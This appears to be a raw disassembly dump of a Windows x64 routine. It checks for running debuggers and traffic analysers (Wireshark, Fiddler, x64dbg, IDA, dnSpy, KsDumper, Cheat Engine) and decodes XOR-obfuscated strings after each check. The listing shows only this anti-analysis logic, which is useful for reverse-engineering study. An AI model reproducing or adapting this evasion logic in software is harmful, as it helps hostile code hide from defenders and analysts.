movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x960]
vmovdqa ymmword [rbp + 0x960], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.MugenJinFuu_x86_64.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xea0]
mov r8d, 0x16
movups xmmword [rbp + 0xea0], xmm0
movdqu xmmword [rbp + 0xeb0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xea0]
call fcn.140017de0
lea rcx, [rbp + 0xea0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001c255
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x980]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x980], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x988], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x990], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x998], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x980]
vmovdqa ymmword [rbp + 0x980], ymm1
jmp 0x14001db7c
lea rdx, str.MugenJinFuu_x86_64.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001c359
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x9a0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x9a0]
vmovdqa ymmword [rbp + 0x9a0], ymm1
jmp 0x14001db7c
lea rdx, str.The_Wireshark_Network_Analyzer
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001c45d
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x9c0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9c0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9c8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9d0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9d8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x9c0]
vmovdqa ymmword [rbp + 0x9c0], ymm1
jmp 0x14001db7c
lea rdx, str.Progress_Telerik_Fiddler_Web_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001c561
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x9e0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9f0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9f8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x9e0]
vmovdqa ymmword [rbp + 0x9e0], ymm1
jmp 0x14001db7c
lea rdx, str.x64dbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001c665
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xa00]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa00], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa08], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa10], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa18], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa00]
vmovdqa ymmword [rbp + 0xa00], ymm1
jmp 0x14001db7c
lea rdx, str.KsDumper
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001c769
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xa20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa20], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa28], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa30], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa38], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa20]
vmovdqa ymmword [rbp + 0xa20], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.KsDumper.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xec0]
mov r8d, 0xc
movups xmmword [rbp + 0xec0], xmm0
movdqu xmmword [rbp + 0xed0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xec0]
call fcn.140017de0
lea rcx, [rbp + 0xec0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001c8a7
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xa40]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa40], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa48], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa50], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa58], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa40]
vmovdqa ymmword [rbp + 0xa40], ymm1
jmp 0x14001db7c
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001c9ab
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xa60]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa60], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa68], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa70], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa78], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa60]
vmovdqa ymmword [rbp + 0xa60], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.dnSpy.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xee0]
mov r8d, 9
movups xmmword [rbp + 0xee0], xmm0
movdqu xmmword [rbp + 0xef0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xee0]
call fcn.140017de0
lea rcx, [rbp + 0xee0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001cae9
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xa80]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa80], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa88], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa90], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa98], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa80]
vmovdqa ymmword [rbp + 0xa80], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.cheatengine_i386.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xf00]
mov r8d, 0x14
movups xmmword [rbp + 0xf00], xmm0
movdqu xmmword [rbp + 0xf10], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xf00]
call fcn.140017de0
lea rcx, [rbp + 0xf00]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001cc27
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xaa0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xab0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xab8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xaa0]
vmovdqa ymmword [rbp + 0xaa0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400793f0]
xorps xmm1, xmm1
lea rcx, [rbp + 0xf20]
mov r8d, 0x16
movups xmmword [rbp + 0xf20], xmm0
movdqu xmmword [rbp + 0xf30], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xf20]
call fcn.140017de0
lea rcx, [rbp + 0xf20]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001cd65
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xac0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xad0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xad8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xac0]
vmovdqa ymmword [rbp + 0xac0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Fiddler_Everywhere.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xf40]
mov r8d, 0x16
movups xmmword [rbp + 0xf40], xmm0
movdqu xmmword [rbp + 0xf50], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xf40]
call fcn.140017de0
lea rcx, [rbp + 0xf40]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001cea3
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xae0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaf0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaf8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xae0]
vmovdqa ymmword [rbp + 0xae0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400793d8]
xorps xmm1, xmm1
lea rcx, [rbp + 0xf60]
mov r8d, 0x13
movups xmmword [rbp + 0xf60], xmm0
movdqu xmmword [rbp + 0xf70], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xf60]
call fcn.140017de0
lea rcx, [rbp + 0xf60]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001cfe1
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xb00]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb00], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb08], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb10], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb18], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb00]
vmovdqa ymmword [rbp + 0xb00], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Fiddler.WebUi.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xf80]
mov r8d, 0x11
movups xmmword [rbp + 0xf80], xmm0
movdqu xmmword [rbp + 0xf90], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xf80]
call fcn.140017de0
lea rcx, [rbp + 0xf80]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001d11f
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xb20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb20], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb28], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb30], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb38], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb20]
vmovdqa ymmword [rbp + 0xb20], ymm1
jmp 0x14001db7c
lea rdx, str.idaq64
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d223
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xb40]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb40], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb48], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb50], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb58], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb40]
vmovdqa ymmword [rbp + 0xb40], ymm1
jmp 0x14001db7c
lea rdx, str.Fiddler_Everywhere
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d327
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xb60]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb60], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb68], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb70], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb78], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb60]
vmovdqa ymmword [rbp + 0xb60], ymm1
jmp 0x14001db7c
lea rdx, str.Wireshark
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d42b
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xb80]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb80], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb88], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb90], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb98], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb80]
vmovdqa ymmword [rbp + 0xb80], ymm1
jmp 0x14001db7c
lea rdx, str.Dumpcap
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d52f
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xba0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbb0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbb8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xba0]
vmovdqa ymmword [rbp + 0xba0], ymm1
jmp 0x14001db7c
lea rdx, str.Fiddler.WebUi
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d633
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xbc0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbc0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbc8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbd0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbd8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xbc0]
vmovdqa ymmword [rbp + 0xbc0], ymm1
jmp 0x14001db7c
lea rdx, str.HTTP_Debugger__32bits_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d737
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xbe0]
mov qword [rbp], rax
